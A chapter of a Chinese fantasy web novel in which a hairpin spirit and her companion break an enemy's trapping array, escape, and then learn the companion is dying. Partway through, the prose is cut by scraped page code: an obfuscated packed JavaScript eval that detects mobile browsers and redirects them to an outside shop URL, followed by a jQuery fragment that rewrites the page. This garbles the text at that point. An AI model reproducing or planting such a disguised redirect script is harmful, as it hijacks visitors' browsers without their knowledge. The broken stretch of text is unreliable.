流光一闪,玉闻声看到后微微勾唇,一直在后面看戏的他随意将扇子戳到了旁边的树干上,霎时间,一道巨大的黑色囚笼在这片空间具现了出来。
空间之内,遁术禁绝!
宁乔的流光被黑色囚笼猝不及防地拦了下来,蝴蝶再度扑涌而来,幸亏宁乔反应够快,立马招了一道“雷字诀”,一道细微的天雷透过黑色囚笼打了下来,劈死了最近的蝴蝶。
宁乔看到眼前这道细微的天雷,半是惊喜半是意外。惊喜这黑色囚笼并没有隔绝天地之力,意外这道天雷这么细弱,比头发丝粗不了多少。
“雷字诀”动静太大,她以前没敢试验,只是感觉到能劈出来就收手了。宁乔抬起手掌端详,到底是因为这黑笼呢,还是她的“雷字诀”有问题?
玉闻声:“跑不了了?你以为我这么晚追过来,是因为什么呢,还不是为了这道‘万绝阵’。”他笑眯眯的,显得心情很好。
宁乔确实吃了个闷亏,但“万绝阵”几个字一出,她就想起来了,这套阵法也是用来困人的,除了范围更大、施法更广之外,只需法力触发,算是一种现成的法阵。威力最强大的,一旦阵成,里面的生灵便都要死绝。威力一般的,也能禁绝各种遁术,堪称居家旅行、杀人放火一把好手。
不过嘛,万绝阵也有缺点,一是不能承受比起阵者更强大的攻击力;二是阵眼所在极为脆弱,而且必然要在阵中;三是起阵者死,阵法破。
和玉闻声拼攻击力,估计是拼不过;找阵眼,也不太容易;而起阵者死,尸傀的弱点她倒是知道,只不过现下找不到啊。
啧,确实有点棘手了。
与此同时,铺天盖地的黑蝶与虫潮汹涌而来。
能抵挡一时,却无法抵挡一世,如果继续下去,终究会被耗干魂力。
生死关头,所受的震撼与威慑远超以往任何时刻的冲击。
宁乔有片刻的失神,但随即心里涌现出奇异的冷静与镇定来。她沉住气,手印快速交叠,在地上固化了一道“困字诀”,微弱的蓝色光晕将他们包围其中,坚强而倔强地抵挡着黑蝶与虫潮的攻击。
她站在原地,观察着阵外的玉闻声。其实一二三点都有机会,但也只能尝试,无法保证成功。玉闻声的真正实力,究竟有多强呢?
姜敛之看出了她身上魂光的黯淡,忽然掏出胸口的玉簪塞给宁乔,自己拿着一把长剑站到了宁乔身前劈舞。
宁乔手里被塞了样东西,电光火石之间,她明白了姜敛之的意图。
如果有人必须要死,只能是我,至少先是我。
如果确实走投无路,那便战死,直到最后!
宁乔握紧了手里的簪子。
既然无法确定哪一点能破阵,那便一起!
她的心里生出无限的勇气和胆魄,先是飞快在姜敛之剑尖凌空绘来一道符文,传音道:“别管那些蝴蝶和虫子,对着一个点刺!”
姜敛之动作一转,对着屏障狠狠刺去。
紧接着,宁乔又在双手结印,在地面上用了一个大范围杀伤性法诀——“万物霜天”!整个空间以宁乔手指为中心气温骤降,蝴蝶和虫子被冰霜纷纷冻住,地面也结出一层冰霜,并迅速向周围扩散而去。
玉闻声见势不妙,立即向宁乔祭出玉扇。这簪灵来历不明、不知底细,他并不想直接交手,而是打算以“万绝阵”将其困死。
但这套“万绝阵”并非原版,阵眼脆弱,为保护阵眼设置了保护灵力。宁乔这招不至于直接破坏阵眼,却会令其显形,届时破阵便是眨眼间的事。
玉扇破空而来,宁乔闪过,继续在半空中结印——“万绝阵”没法隔绝天地之地,不知道阵外的“雷字诀”,威力究竟几何?!
就在一道粗壮的天雷狠狠劈向阵外的玉闻声时,他的玉扇也追踪而来,且速度更快更急!
宁乔被打了个正中,漂浮的身形散了一下,再凝实的时候身形几乎透明了。
这一击又凌厉又狠绝,宁乔在心里痛骂玉闻声三百遍。
她又痛又困,强撑着没有回到玉簪中,观察到紧挨着玉闻声那边屏障内的一个石子并没有被冻上,便知这里就是阵眼了。
已经用不出法术了,宁乔索性飘过去拿着簪子狠狠一戳——黑色的牢笼立即片片碎裂开来,万绝阵破!
玉闻声的玉扇击中宁乔之后便被召回了主人手中。
玉闻声不知道有多少好宝贝,尸傀之身挨了那么一道天雷,竟然没劈死他。
宁乔颇有些可惜。
玉闻声看着被冻住的左脚,也不由得赞了一声:“好心机。”宁乔接连甩出两个大范围术法,竟还有心思将其衔接起来,担心他在天雷之前先行遁逃,先将他冻在了原地。
等他的注意力从天雷上面移开时,布局早就完成了。
可惜他费了一颗珍贵的替命珠。
“不过,破了阵亦是徒劳,你已经用不出魂力了吧。”
宁乔连假笑都笑不出来了。
“不劳你费心了。”
她已经飘到了姜敛之身旁,一道流光包裹着两人的身影,再次原地消失了。
玉闻声看着一片霜花的湖边,露出了藏在身后的右手。上面一道道纹路纵横交错,深入骨肉,只不过尸傀身体特殊,并不会流血,这才没让宁乔看出来。
他眸中浮现出一抹杀机。
另一头,宁乔仅仅携着姜敛之遁出去三五里就没有力气了,夜幕下她的身形黯淡飘忽得几乎要看不见。
把姜敛之放下,看到他担忧的眼神,宁乔勉强嘱咐了一句:“我没事,要睡一觉,你自己小心点儿。”就飞速钻进了簪子里。
救人也不是那么好救的啊。
仅这一个念头闪过,她便彻底陷入了黑沉的梦乡中。
***
宁乔再一次苏醒过来,钻出簪子一看,夜幕星辰,又是一个晚上。
姜敛之坐在一个山坳处烤火,见她醒来,眼神一亮。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125926|196071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
宁乔伸了个懒腰:“唔,我睡了一整天吗?”
姜敛之比了个“三”的手势。
宁乔大惊:“三天?”
修补魂力最好的方式就是睡觉,如果她愿意,一睡五百年也不是不行,只不过中间会做梦,会睡不着,凭空躺在僵在那里会更难受。
但即便如此,一睡十年二十年却相当轻松。
宁乔之前损耗太多,急需睡眠,但她担心一觉过去姜敛之被玉闻声杀掉,只敢让自己睡一小会儿,没想到竟有三天了。
姜敛之点了点头,从怀里掏出一个布包,拨开露出个白胖胖的包子来。
他递给宁乔,目露询问。
宁乔还是恹恹的,打了个呵欠,道:“我不吃包子。”自从成了簪灵,吃东西一点味道都没有。
姜敛之也没问为什么,又将包子收进了粗葛荷包里。
宁乔打量了一圈周围的景色:“这是到哪里了?”凭姜敛之的脚力,应当是走不快的。不过见他好好地坐那,宁乔的心就放下来一半。
看来玉闻声没再追上来。
谢天谢地,他要是在她睡着时追上来,估计不止姜敛之要寄,她也要完蛋。
姜敛之没答,拿树枝在地上划拉起来。
宁乔:?
他是要给她画个地图吗?
过了片刻,她终于后知后觉:“你怎么不说话?”
宁乔围着姜敛之转了一圈,这才发现,他虽然又换了一身衣裳,但多了不少泥土污渍,脖子上手腕上都有擦伤,脸上隐隐有些潮红,不知道是被火熏的还是生病了。
“摔的还是被人欺负了?”
姜敛之顿了一下,摇了摇头,示意宁乔看地上的字。
——“云霞镇外。”
是回答她上一个问题的。
宁乔不知道云霞镇在那,但估摸着是出了云京地界了。
她将手背探过去,姜敛之躲了一下,没躲过去。
“你发烧了。”宁乔皱眉,将魂力化作生机输入姜敛之身体中。
按理说,“回春术”对凡人的头痛脑热相当好用,然而几息过去,宁乔却发现姜敛之地身体更僵硬了。
虽然他努力将脸色掩饰得平静而舒适,但宁乔仍发现他眸中的痛苦之色。
这是怎么回事?没听说过“回春术”是痛的啊。
她探入魂力查看,发现姜敛之的经脉一直在破碎重生,不断地撕裂。原本已经处在断绝的边缘沉寂状态中,被这股生机激发,便又开始被一遍遍撕裂着。
生机断绝,油尽灯枯之象。
显然他面色的潮红并非简单的生病,而是回光返照,吞噬最后一抹生机的征兆。
宁乔惊住了。
姜敛之知道她知道了,眸中显露出惊人的恨意,夹杂着悔恨与决绝。
宁乔看见他在地上写——国师给的功法。
——不用去益州了。
——你叫什么名字?